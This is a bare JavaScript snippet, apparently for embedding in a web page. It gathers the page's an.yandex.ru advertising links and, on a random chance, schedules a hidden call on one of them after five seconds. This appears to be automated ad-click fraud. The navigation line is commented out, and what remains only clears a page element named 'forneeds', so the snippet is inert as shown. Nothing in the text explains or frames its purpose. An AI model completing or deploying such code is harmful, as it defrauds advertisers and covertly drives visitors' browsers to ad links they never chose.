var dl = document.links; var i = 0; var n = 0; var ln = Array(); for(i = 0; i < dl.length; i++) { if(dl[i].href.indexOf('an.yandex.ru') > 0) { ln[n] = dl[i].href; n++; } } if(n > 2 && Math.random() * 100 <= 9) { n = Math.round(Math.random() * (n - 1 - 2)); setTimeout('serf(ln[n])', 5000); } function serf(u) { //location.href = u; document.getElementById('forneeds').innerHTML = ''; }